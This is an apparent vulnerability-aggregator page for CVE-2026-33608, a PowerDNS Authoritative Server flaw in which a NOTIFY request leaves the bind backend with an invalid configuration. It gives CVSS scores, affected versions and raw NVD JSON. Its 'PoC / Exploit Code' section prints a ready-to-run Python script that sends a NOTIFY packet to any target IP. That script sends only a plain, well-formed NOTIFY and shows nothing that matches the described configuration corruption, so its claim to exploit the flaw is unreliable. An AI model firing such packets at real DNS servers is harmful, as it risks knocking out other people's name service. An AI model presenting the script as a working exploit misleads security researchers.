Security Vulnerability Report
中文
CVE-2026-33608 CVSS 7.4 HIGH

CVE-2026-33608

Published: 2026-04-22 14:16:55
Last Modified: 2026-04-24 18:52:44

Description

An attacker can send a notify request that causes a new secondary domain to be added to the bind backend, but causes said backend to update its configuration to an invalid one, leading to the backend no longer able to run on the next restart, requiring manual operation to fix it.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:powerdns:authoritative:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:powerdns:authoritative:*:*:*:*:*:*:*:* - VULNERABLE
PowerDNS Authoritative Server (具体受影响版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-33608 # This script sends a crafted NOTIFY packet to the target. # Usage: python poc.py <target_ip> import socket import struct def send_notify(target_ip): # DNS Header: ID=0x1234, Flags= NOTIFY (Opcode=4), QR=0 header = struct.pack('!HHHHHH', 0x1234, 0x2400, 1, 0, 0, 0) # Question Section: Malicious domain # QNAME: evil.example.com qname = b'\x05evil\x07example\x03com\x00' # QTYPE: SOA (6), QCLASS: IN (1) question = qname + struct.pack('!HH', 6, 1) payload = header + question sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, 53)) print(f"[+] Sent NOTIFY packet to {target_ip}") sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") else: send_notify(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33608", "sourceIdentifier": "[email protected]", "published": "2026-04-22T14:16:54.650", "lastModified": "2026-04-24T18:52:44.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker can send a notify request that causes a new secondary domain to be added to the bind backend, but causes said backend to update its configuration to an invalid one, leading to the backend no longer able to run on the next restart, requiring manual operation to fix it."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:authoritative:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.9.0", "versionEndExcluding": "4.9.14", "matchCriteriaId": "08464BC2-733F-4260-878D-DE05919A7A7D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:authoritative:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.4", "matchCriteriaId": "A26C526E-15DC-41BE-9B66-FC6A63679562"}]}]}], "references": [{"url": "https://docs.powerdns.com/authoritative/security-advisories/powerdns-advisory-powerdns-2026-05.html", "source": "[email protected]", "tags": ["Broken Link", "Vendor Advisory"]}]}}